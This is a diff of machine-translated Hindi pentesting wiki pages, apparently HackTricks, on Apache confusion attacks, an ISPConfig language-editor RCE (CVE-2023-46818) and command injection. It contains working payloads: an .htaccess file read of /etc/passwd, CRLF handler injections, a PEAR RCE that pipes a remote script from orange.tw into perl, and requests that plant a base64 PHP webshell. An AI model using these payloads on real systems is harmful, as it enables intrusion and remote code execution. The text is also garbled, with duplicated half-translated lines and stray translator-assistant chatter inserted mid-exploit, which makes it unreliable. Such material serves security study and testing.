`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` header भेजें और NTLM authentication के काम करने के तरीके के कारण, server "WWW-Authenticate" header के अंदर internal info (IIS version, Windows version...) के साथ respond करेगा।\
आप इसे automate करने के लिए **nmap plugin** "_http-ntlm-info.nse_" का उपयोग कर सकते हैं।
If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\
**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\
You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
Redirection के अंदर content रखा जाना संभव है। यह content user को दिखाई नहीं देगा (क्योंकि browser redirection execute कर देगा) पर वहाँ कुछ छुपा हुआ हो सकता है।
It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there.
### Web Vulnerabilities Checking
अब जब web application की व्यापक enumeration हो चुकी है, तो कई संभावित vulnerabilities के लिए जाँच करने का समय है। आप checklist यहाँ पा सकते हैं:
Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
Web vulnerabilities के बारे में और जानकारी:
Find more info about web vulns in:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@ -341,7 +341,7 @@ Web vulnerabilities के बारे में और जानकारी:
### Monitor Pages for changes
आप pages में modifications को monitor करने के लिए जैसे tools का उपयोग कर सकते हैं: [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io), ताकि ऐसे परिवर्तन पकड़े जा सकें जो vulnerabilities जोड़ सकते हैं।
You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities.
### HackTricks Automatic Commands
```

80
src/network-services-pentesting/pentesting-web/apache.md
View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Executable PHP एक्सटेंशन्स
## निष्पाद्य PHP एक्सटेंशन्स
जाँचें कि Apache सर्वर कौन सी PHP एक्सटेंशन्स चला रहा है। इन्हें खोजने के लिए आप निम्न कमांड चला सकते हैं:
जाँचें कि कौन से एक्सटेंशन्स Apache सर्वर पर निष्पादित हो रहे हैं। उन्हें खोजने के लिए आप यह चला सकते हैं:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
इसके अलावा, कुछ जगहें जहाँ आप यह configuration पा सकते हैं:
इसके अलावा, कुछ स्थान जहाँ आप यह कॉन्फ़िगरेशन पा सकते हैं:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -23,12 +23,12 @@ Linux
```
## LFI via .htaccess ErrorDocument file provider (ap_expr)
यदि आप किसी डायरेक्टरी की .htaccess को नियंत्रित कर सकते हैं और उस path के लिए AllowOverride में FileInfo शामिल है, तो आप ErrorDocument के अंदर ap_expr के file() फ़ंक्शन का उपयोग करके 404 responses को मनमाने स्थानीय फ़ाइल पढ़ने में बदल सकते हैं।
यदि आप किसी डायरेक्टरी की .htaccess को नियंत्रित कर सकते हैं और उस path के लिए AllowOverride में FileInfo शामिल है, तो आप ErrorDocument के अंदर ap_expr file() फ़ंक्शन का उपयोग करके 404 responses को मनमाने स्थानीय फ़ाइल पढ़ने में बदल सकते हैं।
- आवश्यकताएँ:
- Requirements:
- Apache 2.4 जिसमें expression parser (ap_expr) सक्षम हो (2.4 में default)।
- vhost/dir को .htaccess को ErrorDocument सेट करने की अनुमति देनी चाहिए (AllowOverride FileInfo)।
- Apache worker user के पास लक्षित फ़ाइल पर पढ़ने की अनुमति होनी चाहिए।
- Apache worker user के पास target फ़ाइल पर read permissions होने चाहिए।
.htaccess payload:
```apache
@ -37,17 +37,17 @@ Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
उस डायरेक्टरी के नीचे किसी भी मौजूद न होने वाले path का अनुरोध करके ट्रिगर करें, उदाहरण के लिए userdir-style hosting का दुरुपयोग करते समय:
उस डायरेक्टरी के नीचे किसी भी अस्तित्वहीन पथ का अनुरोध करके ट्रिगर करें, उदाहरण के लिए userdir-style hosting का दुरुपयोग करते समय:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
Notes and tips:
- केवल absolute paths ही काम करते हैं। सामग्री 404 handler के response body के रूप में लौटाई जाती है।
- प्रभावी पढ़ने की permissions Apache user की होती हैं (आम तौर पर www-data/apache)। डिफ़ॉल्ट सेटअप में आप /root/* या /etc/shadow नहीं पढ़ पाएंगे।
- यहां तक कि अगर .htaccess root-owned है, अगर parent directory tenant-owned है और rename की अनुमति देता है, तो आप मूल .htaccess का नाम बदलकर अपना replacement SFTP/FTP के जरिए अपलोड कर सकते हैं:
- केवल absolute paths काम करते हैं। कंटेंट 404 handler के response body के रूप में लौटाया जाता है।
- प्रभावी रीड परमिशन्स Apache user (typically www-data/apache) के होते हैं। डिफ़ॉल्ट सेटअप में आप /root/* या /etc/shadow नहीं पढ़ पाएँगे।
- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- इसे DocumentRoot या vhost config paths के अंतर्गत application source पढ़ने के लिए उपयोग करें ताकि secrets (DB creds, API keys, आदि) harvest किए जा सकें।
- Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.).
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
@ -57,11 +57,11 @@ These types of attacks has been introduced and documented [**by Orange in this b
#### Truncation
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). यह पूरी तरह गलत नहीं है क्योंकि अधिकांश modules `r->filename` को एक URL के रूप में treat करते हैं। लेकिन कुछ अवसरों पर इसे file path के रूप में treat किया जाएगा, जिससे समस्या उत्पन्न हो सकती है।
- **Path Truncation**
It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
यह संभव है कि निम्न rule उदाहरण की तरह `mod_rewrite` का दुरुपयोग करके फ़ाइल सिस्टम के अंदर अन्य फ़ाइलों तक पहुँच बनाई जाए, अपेक्षित path के अंतिम हिस्से को हटाकर बस एक `?` जोड़कर:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -76,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F
```
- **Mislead RewriteFlag Assignment**
नीचे दिए गए rewrite rule में, जब तक URL .php पर समाप्त होता है, उसे php के रूप में माना जाएगा और निष्पादित किया जाएगा। इसलिए, यह संभव है कि आप `?` char के बाद .php पर समाप्त होने वाला एक URL भेजें, जबकि path में किसी अलग प्रकार की फ़ाइल (जैसे एक image) को लोड कर रहे हों, जिसके अंदर दुर्भावनापूर्ण php code मौजूद हो:
निम्नलिखित rewrite rule में, जब तक URL .php पर समाप्त होता है, इसे php के रूप में माना जाएगा और execute किया जाएगा। इसलिए, यह संभव है कि `?` char के बाद .php पर समाप्त होने वाला URL भेजा जाए, जबकि path में किसी दूसरे प्रकार की फ़ाइल (जैसे एक image) को लोड किया जा रहा हो जिसमें हानिकारक php code हो:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
```
#### **ACL Bypass**
ऐसी कॉन्फ़िगरेशन के साथ भी जिनमें एक्सेस अस्वीकार किया जाना चाहिए, उपयोगकर्ता उन फ़ाइलों तक पहुँच सकता है जिन तक उसे पहुँचने की अनुमति नहीं होनी चाहिए:
ऐसी कॉन्फ़िगरेशन में यह संभव है कि user उन फ़ाइलों तक access कर सके जिन्हें उसे access करने की अनुमति नहीं होनी चाहिए, भले ही access deny किया गया हो:
```xml
<Files "admin.php">
AuthType Basic
@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
यह इसलिए है क्योंकि डिफ़ॉल्ट रूप से PHP-FPM उन URLs को प्राप्त करेगा जो `.php` पर समाप्त होते हैं, जैसे `http://server/admin.php%3Fooo.php` और चूँकि PHP-FPM चर `?` के बाद की किसी भी चीज़ को हटा देता है, पिछला URL `/admin.php` लोड करने की अनुमति देगा भले ही पिछला नियम इसे प्रतिबंधित करता था।
यह इसलिए है कि डिफ़ॉल्ट रूप से PHP-FPM उन URLs को प्राप्त करेगा जो `.php` पर समाप्त होते हैं, जैसे `http://server/admin.php%3Fooo.php` और क्योंकि PHP-FPM `?` कैरेक्टर के बाद की किसी भी चीज़ को हटा देगा, पिछला URL `/admin.php` लोड करने की अनुमति देगा भले ही पिछला नियम इसे प्रतिबंधित करता हो।
### DocumentRoot भ्रम
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system.
Apache के बारे में एक मज़ेदार तथ्य यह है कि पिछले rewrite दोनों documentRoot और root से फ़ाइल तक पहुँचने की कोशिश करेगा। इसलिए, `https://server/abouth.html` के लिए एक अनुरोध फ़ाइल सिस्टम में `/var/www/html/about.html` और `/about.html` दोनों स्थानों पर फ़ाइल की जांच करेगा। जो मूलतः फ़ाइल सिस्टम में फ़ाइलों तक पहुँचने के लिए दुरुपयोग किया जा सकता है।
#### **सर्वर-साइड स्रोत कोड का खुलासा**
#### **सर्वर-साइड स्रोत कोड प्रकटीकरण**
- **CGI स्रोत कोड का खुलासा**
केवल अंत में %3F जोड़ना एक cgi मॉड्यूल का स्रोत कोड leak करने के लिए पर्याप्त है:
अंत में केवल %3F जोड़ना ही किसी cgi module का स्रोत कोड लीक करने के लिए काफी है:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
@ -123,9 +123,9 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# ...
# # the source code of download.cgi
```
- **Disclose PHP Source Code**
- **PHP स्रोत कोड का खुलासा**
यदि किसी सर्वर के पास विभिन्न डोमेन हों और उनमें से एक static domain हो, तो इसका दुरुपयोग फ़ाइल सिस्टम को traverse करने और php code को leak करने के लिए किया जा सकता है:
यदि किसी सर्वर के पास अलग-अलग डोमेन्स हैं और उनमें से एक स्टैटिक डोमेन है, तो इसका दुरुपयोग कर फ़ाइल सिस्टम को ट्रैवर्स करके php कोड leak किया जा सकता है:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
@ -133,7 +133,7 @@ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
```
#### **Local Gadgets Manipulation**
पिछले हमले की मुख्य समस्या यह है कि डिफ़ॉल्ट रूप से फ़ाइलसिस्टम पर अधिकांश एक्सेस अस्वीकार कर दिए जाते हैं, जैसा कि Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
पिछले हमले की मुख्य समस्या यह है कि डिफ़ॉल्ट रूप से filesystem पर अधिकांश access को नकार दिया जाएगा, जैसा Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) में है:
```xml
<Directory />
AllowOverride None
@ -147,38 +147,38 @@ AllowOverride None
Require all granted
</Directory>
```
Therefore, it would be possible to **इन वितरणों में `/usr/share` के अंदर स्थित फ़ाइलों का दुरुपयोग करना संभव होगा।**
इसलिए, यह संभव होगा कि इन वितरणों में **`/usr/share` के अंदर स्थित फ़ाइलों का दुरुपयोग किया जाए।**
**Local Gadget to Information Disclosure**
- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, जो संवेदनशील environment variables को leak कर सकता है।
- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
- Servers with **Nginx** or **Jetty** might expose संवेदनशील web application जानकारी (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Local Gadget to XSS**
- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**.
- On Ubuntu Desktop with **LibreOffice installed**, help files की language switch सुविधा का exploit करने पर **Cross-Site Scripting (XSS)** हो सकता है। **/usr/share/libreoffice/help/help.html** पर URL को manipulate करके malicious पेजों या पुराने संस्करणों पर redirect किया जा सकता है, जो **unsafe RewriteRule** के कारण संभव है।
**Local Gadget to LFI**
- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
- यदि PHP या कुछ front-end packages जैसे **JpGraph** या **jQuery-jFeed** installed हैं, तो उनकी फाइलों का उपयोग करके **/etc/passwd** जैसी संवेदनशील फाइलें पढ़ी जा सकती हैं:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Local Gadget to SSRF**
- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
- **MagpieRSS's magpie_debug.php** को **/usr/share/php/magpierss/scripts/magpie_debug.php** पर उपयोग करने से आसानी से SSRF vulnerability बनाई जा सकती है, जो आगे के exploits के लिए gateway प्रदान करती है।
**Local Gadget to RCE**
- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
- **Remote Code Execution (RCE)** के अवसर व्यापक हैं, जैसे पुराने या vulnerable इंस्टॉलेशंस जैसे outdated **PHPUnit** या **phpLiteAdmin**. इनका exploit करके arbitrary code execute किया जा सकता है, जो local gadgets के manipulation की व्यापक क्षमता को दर्शाता है।
#### **Jailbreak from Local Gadgets**
It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
इन फ़ोल्डरों में इंस्टॉल किए गए सॉफ़्टवेयर द्वारा बनाए गए symlinks को follow करके भी allowed फ़ोल्डरों से jailbreak करना संभव है, जैसे:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -186,7 +186,7 @@ It's also possible to jailbreak from the allowed folders by following symlinks g
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.**
इसके अलावा, symlinks का दुरुपयोग करके **Redmine** में **RCE** प्राप्त करना संभव था।
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
@ -196,12 +196,12 @@ Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is
#### **Overwrite Handler to Disclose PHP Source Code**
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), एक vulnerability प्रस्तुत की गई थी जहाँ क्लाइंट द्वारा भेजा गया गलत `Content-Length` Apache को गलती से **PHP source code लौटाने** के लिए प्रेरित कर सकता है। यह ModSecurity और Apache Portable Runtime (APR) के साथ error handling issue के कारण था, जहाँ एक double response `r->content_type` को `text/html` में overwrite कर देता है।\
क्योंकि ModSecurity return values को ठीक से handle नहीं करता, यह PHP code को return कर देता है और उसे interpret नहीं करेगा।
#### **Overwrite Handler to XXXX**
TODO: Orange hasn't disclose this vulnerability yet
TODO: Orange ने अभी तक इस vulnerability का disclosure नहीं किया है
### **Invoke Arbitrary Handlers**
@ -225,7 +225,7 @@ SetHandler server-status
Require local
</Location>
```
इसे एक्सेस किया जा सकता है अगर `Content-Type` को `server-status` पर सेट किया जाए और Location header `/` से शुरू हो।
इसे एक्सेस करना संभव है यदि `Content-Type` को `server-status` सेट किया जाए और Location हेडर `/` से शुरू हो।
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
@ -234,7 +234,7 @@ Content-Type:server-status %0d%0a
```
#### **Arbitrary Handler से Full SSRF**
किसी भी URL पर किसी भी प्रोटोकॉल तक पहुँचने के लिए `mod_proxy` पर रीडायरेक्ट करना:
किसी भी URL पर किसी भी प्रोटोकॉल तक पहुंचने के लिए `mod_proxy` पर रीडायरेक्ट करना:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
@ -243,11 +243,11 @@ http://example.com/%3F
%0d%0a
%0d%0a
```
हालाँकि, `X-Forwarded-For` header जोड़ा गया है जिससे cloud metadata endpoints तक पहुँच रोकी जा रही है।
हालाँकि, `X-Forwarded-For` हेडर जोड़ा गया है जिससे क्लाउड मेटाडेटा एंडपॉइंट्स तक पहुँच अवरुद्ध हो रही है।
#### **Arbitrary Handler to Access Local Unix Domain Socket**
#### **Local Unix Domain Socket तक पहुँचने के लिए Arbitrary Handler**
PHP-FPM के local Unix Domain Socket तक पहुँच कर `/tmp/` में स्थित PHP backdoor को execute करें:
PHP-FPM’s local Unix Domain Socket तक पहुँचकर `/tmp/` में स्थित PHP backdoor को execute करें:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0
```
#### **Arbitrary Handler to RCE**
आधिकारिक [PHP Docker](https://hub.docker.com/_/php) image में PEAR (`Pearcmd.php`) शामिल है, जो एक command-line PHP package management tool है, जिसे RCE प्राप्त करने के लिए दुरुपयोग किया जा सकता है:
आधिकारिक [PHP Docker](https://hub.docker.com/_/php) image में PEAR (`Pearcmd.php`) शामिल है, जो एक कमांड-लाइन PHP पैकेज मैनेजमेंट टूल है, और जिसका दुरुपयोग करके RCE प्राप्त किया जा सकता है:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -265,7 +265,7 @@ orange.tw/x|perl
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
इस तकनीक के विवरण के लिए [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), जिसे [Phith0n](https://x.com/phithon_xg) ने लिखा है, देखें।
इस तकनीक के विवरण के लिए [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), जो [Phith0n](https://x.com/phithon_xg) द्वारा लिखा गया है, देखें।
## संदर्भ

52
src/network-services-pentesting/pentesting-web/ispconfig.md
View File

@ -4,36 +4,36 @@
## अवलोकन
ISPConfig एक open-source hosting control panel है। पुराने 3.2.x बिल्ड्स में एक language file editor फीचर था जो, जब super administrator के लिए सक्षम किया जाता था, malformed translation record के माध्यम से arbitrary PHP code injection की अनुमति देता था। इससे web server context में RCE हो सकता है और यह निर्भर करता है कि PHP कैसे execute होता है, privilege escalation भी संभव है।
ISPConfig एक open-source hosting control panel है। पुराने 3.2.x बिल्ड्स में language file editor नाम का एक फीचर था जो, super administrator के लिए सक्षम होने पर, malformed translation record के जरिए arbitrary PHP code injection की अनुमति देता था। इससे web server context में RCE हो सकता है और, इस बात पर निर्भर करते हुए कि PHP कैसे execute होता है, privilege escalation संभव है।
Key default paths:
- Web root अक्सर `/var/www/ispconfig` पर होता है जब इसे `php -S` के साथ serve किया जाता है या Apache/nginx के माध्यम से।
- Admin UI HTTP(S) vhost पर पहुंच योग्य होता है (कभी-कभी केवल localhost से बाउंड; आवश्यकता होने पर SSH port-forward का उपयोग करें)।
- Web root अक्सर at `/var/www/ispconfig` होता है जब इसे `php -S` से या Apache/nginx के माध्यम से serve किया जाता है।
- Admin UI HTTP(S) vhost पर reachable होता है (कभी-कभी केवल localhost पर bound होता है; आवश्यक होने पर SSH port-forward का उपयोग करें)।
टिप: यदि पैनल लोकली बाउंड है (उदा. `127.0.0.1:8080`), तो इसे फ़ॉरवर्ड करें:
टिप: यदि पैनल लोकल पर बाइंड है (उदा. `127.0.0.1:8080`), तो इसे फॉरवर्ड करें:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## Language editor PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
- प्रभावित: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- पूर्वशर्तें:
- Built-in superadmin account `admin` के रूप में लॉगिन (वेंडर के अनुसार अन्य रोल प्रभावित नहीं हैं)
- Language editor सक्षम होना चाहिए: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- प्रभाव: प्रमाणीकृत admin arbitrary PHP inject कर सकता है जो एक language file में लिखा जाता है और application द्वारा execute होता है, जिससे web context में RCE प्राप्त होता है
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
### Manual exploitation flow
1) Open/create a language file to obtain CSRF tokens
1) CSRF tokens प्राप्त करने के लिए language file खोलें/बनाएँ
Send a first POST to initialize the form and parse the CSRF fields from the HTML response (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`.
पहला POST भेजें ताकि फ़ॉर्म इनिशियलाइज़ हो और HTML response से CSRF फ़ील्ड्स (`csrf_id`, `csrf_key`) पार्स करें। उदाहरण request path: `/admin/language_edit.php`.
2) Inject PHP via records[] and save
2) records[] के माध्यम से PHP inject करें और save करें
Submit a second POST including the CSRF fields and a malicious translation record. Minimal command-execution probes:
CSRF फ़ील्ड्स और एक malicious translation record शामिल करते हुए दूसरा POST भेजें। न्यूनतम command-execution प्रॉब्स:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
@ -42,44 +42,44 @@ Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
Out-of-band test (ICMP का निरीक्षण):
Out-of-band परीक्षण (ICMP का निरीक्षण):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) फाइलें लिखें और एक webshell डालें
3) फाइलें लिखें और एक webshell गिराएँ
वेब-से पहुँचा जा सकने वाले पथ (उदा., `admin/`) के अंतर्गत फ़ाइल बनाने के लिए `file_put_contents` का उपयोग करें:
वेब-पहुंच योग्य पथ (जैसे `admin/`) के अंतर्गत एक फ़ाइल बनाने के लिए `file_put_contents` का उपयोग करें:
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
फिर POST बॉडी में खराब कैरक्टर्स से बचने के लिए base64 का उपयोग करते हुए एक सरल webshell लिखें:
फिर POST बॉडी में खराब वर्णों से बचने के लिए base64 का उपयोग करके एक सरल webshell लिखें:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
कृपया उस फ़ाइल (src/network-services-pentesting/pentesting-web/ispconfig.md) की सामग्री यहाँ पेस्ट करें या अटैच करें ताकि मैं इसे दिए गए निर्देशों के अनुसार Markdown/HTML संरचना बनाए रखते हुए अंग्रेज़ी से हिन्दी में अनुवाद कर सकूँ।
कृपया ispconfig.md की सामग्री यहाँ पेस्ट करें — मैं दिए गए निर्देशों के अनुसार Markdown और HTML टैग, लिंक/पाथ तथा तकनीकी शब्द न बदलते हुए इसे हिन्दी में अनुवाद कर दूँगा।
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
यदि PHP को root के रूप में निष्पादित किया जाता है (उदा., `php -S 127.0.0.1:8080` जिसे root ने शुरू किया हो), तो यह तुरंत root RCE प्रदान करता है। अन्यथा, आप वेब सर्वर उपयोगकर्ता के रूप में कोड निष्पादन प्राप्त करते हैं।
यदि PHP को root के रूप में चलाया गया हो (उदा., root द्वारा शुरू किया गया `php -S 127.0.0.1:8080`), तो यह तुरंत root RCE देता है। अन्यथा, आप वेब सर्वर उपयोगकर्ता के रूप में कोड निष्पादन प्राप्त करते हैं।
### Python PoC
तैयार-से-इस्तेमाल exploit token handling और payload delivery को स्वचालित करता है:
एक तैयार-उपयोग exploit token handling और payload delivery को स्वचालित करता है:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
उदाहरण चलाना:
उदाहरण रन:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### हार्डनिंग
### Hardening
- 3.2.11p1 या बाद के संस्करण पर अपग्रेड करें
- भाषा संपादक को तब तक अक्षम रखें जब तक कि यह सख्ती से आवश्यक न हो:
- 3.2.11p1 या उसके बाद के संस्करण पर अपग्रेड करें
- भाषा संपादक को तब तक अक्षम रखें जब तक यह सख्ती से आवश्यक न हो:
```
admin_allow_langedit=no
```
- Panel को root के रूप में चलाने से बचें; PHP-FPM या वेब सर्वर को कम अधिकारों पर चलाने के लिए कॉन्फ़िगर करें।
- बिल्ट-इन `admin` खाते के लिए मजबूत प्रमाणीकरण लागू करें।
- पैनल को root के रूप में चलाने से बचें; PHP-FPM या web server को इस तरह कॉन्फ़िगर करें कि वे privileges छोड़ दें
- built-in `admin` account के लिए मजबूत authentication लागू करें
## संदर्भ

27
src/pentesting-web/command-injection.md
View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## What is command Injection?
## command Injection क्या है?
एक **command injection** हमलावर को उस सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स चलाने की अनुमति देता है जो किसी एप्लिकेशन की मेज़बानी कर रहा होता है। नतीजतन, एप्लिकेशन और उसके सभी डेटा को पूरी तरह से समझौता किया जा सकता है। इन कमांड्स के निष्पादन से आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित सिस्टम पर अनधिकृत पहुँच या नियंत्रण प्राप्त हो जाता है।
एक **command injection** हमलावर को उस सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स चलाने की अनुमति देता है जो किसी एप्लिकेशन की होस्टिंग कर रहा होता है। नतीजतन, एप्लिकेशन और उसका सारा डेटा पूरी तरह से समझौता किया जा सकता है। इन कमांड्स के निष्पादन से आमतौर पर हमलावर को एप्लिकेशन के environment और अंतर्निहित सिस्टम पर अनधिकृत पहुँच या नियंत्रण मिल जाता है।
### संदर्भ
यह निर्भर करता है कि **आपका इनपुट कहाँ इंजेक्ट किया जा रहा है** — ऐसा होने पर आपको कमांड्स से पहले **उद्धरणित संदर्भ को समाप्त करना** आवश्यक हो सकता है ( `"` या `'` का उपयोग करके)।
निर्भर करता है कि **आपका इनपुट कहाँ इंजेक्ट किया जा रहा है**, आपको कमांड्स से पहले **quoted context को समाप्त** (using `"` or `'`) करने की आवश्यकता हो सकती है।
## Command Injection/Execution
```bash
@ -32,8 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **Limition** Bypasses
यदि आप **arbitrary commands inside a linux machine** निष्पादित करने की कोशिश कर रहे हैं, तो आप इस **Bypasses:** के बारे में पढ़ने में रुचि रखेंगे:
यदि आप किसी **linux मशीन के अंदर arbitrary commands** को चलाने की कोशिश कर रहे हैं, तो आप इस **Bypasses:** को पढ़ने में रुचि रखेंगे।
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
